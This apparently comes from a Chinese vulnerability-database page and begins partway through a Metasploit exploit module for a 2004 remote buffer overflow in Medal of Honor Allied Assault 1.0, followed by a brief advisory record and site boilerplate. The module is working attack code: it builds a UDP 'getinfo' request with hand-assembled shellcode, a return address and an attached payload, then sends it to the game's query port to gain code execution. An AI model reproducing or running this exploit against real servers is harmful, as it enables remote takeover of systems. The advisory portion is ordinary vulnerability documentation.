					[ 'URL', 'http://www.milw0rm.com/exploits/357'],
					[ 'BID', '10743'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
				],
			'DisclosureDate' => 'Jul 17 2004',
			'DefaultTarget' => 0))

			register_options(
				[
					Opt::RPORT(12203)
				], self.class)
	end

	def exploit
		connect_udp

		# We should convert this to metasm - Patrick
		buf = 'B' * target['Rets'][0]
		buf << "\x68\x76\x76\x76\x76"*9   	# PUSH 76767676 x 9
		buf << "\x68\x7f\x7f\x7f\x7f"     	# PUSH 7F7F7F7F
		buf << "\x57"			    	# PUSH EDI
		buf << "\x58"			    	# POP EAX
		buf << "\x32\x64\x24\x24"	    	# XOR AH,BYTE PTR SS:[ESP+24]
		buf << "\x32\x24\x24"		    	# XOR AH,BYTE PTR SS:[ESP]
		buf << "\x48"*150			    	# DEC EAX x 150
		buf << "\x50\x50"			    	# PUSH EAX x 2
		buf << "\x53"				# PUSH EBX
		buf << "\x58"				# POP EAX
		buf << "\x51"				# PUSH ECX
		buf << "\x32\x24\x24"			# XOR AH,BYTE PTR SS:[ESP]
		buf << "\x6a\x7f"				# PUSH 7F
		buf << "\x5e"				# POP ESI
		buf << "\x46"*37				# INC ESI
		buf << "\x56"*10				# PUSH ESI
		buf << "\x32\x44\x24\x24"		# XOR AL,BYTE PTR SS:[ESP+24]
		buf << "\x49\x49"				# DEC ECX
		buf << "\x31\x48\x34"			# XOR DWORD PTR DS:[EAX+34],ECX
		buf << "\x58"*11				# POP EAX	
		buf << "\x42"*66
		buf << "\x3c"*4
		buf << "\x42"*48
		buf << [ target['Rets'][1] ].pack('V')

		req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
		req << "\r\n\r\n" + make_nops(32) + payload.encoded

		udp_sock.put(req)	

		handler
		disconnect_udp
	end

end
    

- 漏洞信息

8061
Medal of Honor Multiple Remote Overflows
Remote / Network Access Input Manipulation
Loss of Integrity Third-Party Solution
Exploit Public

- 漏洞描述

A number of remote buffer-overflow vulnerabilities exist in versions of Medal of Honor. The Medal of Honour query/reply manager does not perform any validation or verification checks for slashs, NULL bytes or value sizes before passing input into a new buffer. With a specially crafted request an attacker can cause arbitrary code to be run with system level priveleges, resulting in a possible loss of integrity.

- 时间线

2004-07-17 2004-07-17
2004-07-17 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Luigi Auriemma has released an unofficial patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站